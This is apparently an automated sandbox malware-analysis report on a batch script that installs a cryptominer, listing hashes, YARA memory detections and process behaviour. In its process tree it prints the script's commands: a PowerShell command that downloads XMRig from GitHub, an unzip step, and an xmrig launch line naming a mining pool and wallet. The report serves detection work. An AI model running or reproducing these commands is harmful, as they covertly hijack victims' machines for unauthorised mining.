Overview
overview
10Static
static
1tesy - Copy (10).bat
windows10-1703-x64
10tesy - Copy (11).bat
windows10-1703-x64
10tesy - Copy (12).bat
windows10-1703-x64
10tesy - Copy (13).bat
windows10-1703-x64
10tesy - Copy (14).bat
windows10-1703-x64
10tesy - Copy (2).bat
windows10-1703-x64
10tesy - Copy (3).bat
windows10-1703-x64
10tesy - Copy (4).bat
windows10-1703-x64
10tesy - Copy (5).bat
windows10-1703-x64
10tesy - Copy (6).bat
windows10-1703-x64
10tesy - Copy (7).bat
windows10-1703-x64
10tesy - Copy (8).bat
windows10-1703-x64
10tesy - Copy (9).bat
windows10-1703-x64
10tesy - Copy.bat
windows10-1703-x64
10tesy.bat
windows10-1703-x64
10Analysis
-
max time kernel
1798s -
max time network
1788s -
platform
windows10-1703_x64 -
resource
win10-20231215-en -
resource tags
arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system -
submitted
01-01-2024 07:21
Static task
static1
Behavioral task
behavioral1
Sample
tesy - Copy (10).bat
Resource
win10-20231215-en
Behavioral task
behavioral2
Sample
tesy - Copy (11).bat
Resource
win10-20231220-en
Behavioral task
behavioral3
Sample
tesy - Copy (12).bat
Resource
win10-20231215-en
Behavioral task
behavioral4
Sample
tesy - Copy (13).bat
Resource
win10-20231215-en
Behavioral task
behavioral5
Sample
tesy - Copy (14).bat
Resource
win10-20231220-en
Behavioral task
behavioral6
Sample
tesy - Copy (2).bat
Resource
win10-20231215-en
Behavioral task
behavioral7
Sample
tesy - Copy (3).bat
Resource
win10-20231215-en
Behavioral task
behavioral8
Sample
tesy - Copy (4).bat
Resource
win10-20231215-en
Behavioral task
behavioral9
Sample
tesy - Copy (5).bat
Resource
win10-20231215-en
Behavioral task
behavioral10
Sample
tesy - Copy (6).bat
Resource
win10-20231215-en
Behavioral task
behavioral11
Sample
tesy - Copy (7).bat
Resource
win10-20231215-en
Behavioral task
behavioral12
Sample
tesy - Copy (8).bat
Resource
win10-20231215-en
Behavioral task
behavioral13
Sample
tesy - Copy (9).bat
Resource
win10-20231215-en
Behavioral task
behavioral14
Sample
tesy - Copy.bat
Resource
win10-20231220-en
General
-
Target
tesy - Copy (2).bat
-
Size
608B
-
MD5
727c8da0478af118c957ae60f7161cab
-
SHA1
cf18105b8659e93bbd2824fa35ef1bae7b395301
-
SHA256
97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
-
SHA512
d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01
Malware Config
Extracted
https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip
Signatures
-
XMRig Miner payload 63 IoCs
resource yara_rule behavioral6/memory/2304-122-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-123-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-126-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-127-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-130-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-131-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-132-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-133-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-134-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-135-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-136-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-137-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-138-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-139-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-140-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-141-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-142-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-143-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-144-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-145-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-146-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-147-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-148-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-149-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-150-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-151-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-152-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-153-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-154-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-155-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-156-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-157-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-158-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-159-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-160-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-161-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-162-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-163-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-164-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-165-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-166-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-167-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-168-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-169-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-170-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-171-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-172-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-173-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-174-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-175-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-176-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-177-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-178-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-179-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-180-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-181-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-182-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-183-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-184-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-185-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-186-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-187-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig behavioral6/memory/2304-188-0x00007FF6B5D20000-0x00007FF6B6823000-memory.dmp xmrig -
Blocklisted process makes network request 2 IoCs
flow pid Process 2 2420 powershell.exe 5 2420 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 2304 xmrig.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 2420 powershell.exe 2420 powershell.exe 2420 powershell.exe 3208 powershell.exe 3208 powershell.exe 3208 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2420 powershell.exe Token: SeDebugPrivilege 3208 powershell.exe Token: SeLockMemoryPrivilege 2304 xmrig.exe Token: SeLockMemoryPrivilege 2304 xmrig.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2304 xmrig.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 4292 wrote to memory of 2420 4292 cmd.exe 75 PID 4292 wrote to memory of 2420 4292 cmd.exe 75 PID 4292 wrote to memory of 3208 4292 cmd.exe 76 PID 4292 wrote to memory of 3208 4292 cmd.exe 76 PID 4292 wrote to memory of 2304 4292 cmd.exe 77 PID 4292 wrote to memory of 2304 4292 cmd.exe 77
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (2).bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4292 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2420
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3208
-
-
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exexmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b142⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2304
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Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a